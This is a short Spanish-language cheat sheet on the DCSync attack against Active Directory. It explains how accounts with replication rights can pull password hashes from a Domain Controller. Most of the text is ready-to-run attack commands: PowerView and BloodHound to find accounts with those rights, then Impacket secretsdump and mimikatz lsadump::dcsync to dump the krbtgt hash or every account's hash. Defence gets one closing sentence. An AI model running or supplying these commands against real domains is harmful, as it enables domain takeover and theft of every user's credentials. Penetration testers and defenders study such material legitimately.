Qué es
DCSync abusa del protocolo de replicación de Active Directory para pedir los hashes de contraseña de cualquier cuenta del dominio. No toca el disco, la memoria ni los procesos del Domain Controller. Con el hash de krbtgt, el atacante se queda con el dominio entero.
Cómo funciona
Los Domain Controllers se sincronizan con un protocolo de replicación. Se piden los cambios entre ellos, incluidos los hashes. El controlador entrega esos datos a cualquier cuenta que tenga dos derechos sobre el objeto de dominio: DS-Replication-Get-Changes y DS-Replication-Get-Changes-All. El protocolo no comprueba si quien pide es de verdad un Domain Controller. Solo comprueba los derechos. Una estación de trabajo con esos derechos recibe los hashes igual que un socio de replicación.
Comandos
Ver qué cuentas tienen derechos de replicación, con PowerView:
Get-DomainObjectAcl -Identity "DC=<DOMAIN>,DC=<TLD>" -ResolveGUIDs | ? { $_.ObjectAceType -match 'Replication' }Mapear las rutas hacia esas cuentas con BloodHound. Recolectar con el ingestor de Python:
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -dc <HOST> -ns <IP> -c AllEjecutar DCSync desde Linux con Impacket. Solo la cuenta krbtgt:
secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dc-user krbtgtTodas las cuentas del dominio:
secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dcEn Windows, con mimikatz. La cuenta krbtgt:
lsadump::dcsync /domain:<DOMAIN> /user:krbtgtTodas las cuentas, a CSV:
lsadump::dcsync /domain:<DOMAIN> /all /csvCómo defenderse
Audita quién tiene los derechos de replicación sobre el objeto de dominio y quita los que no hagan falta.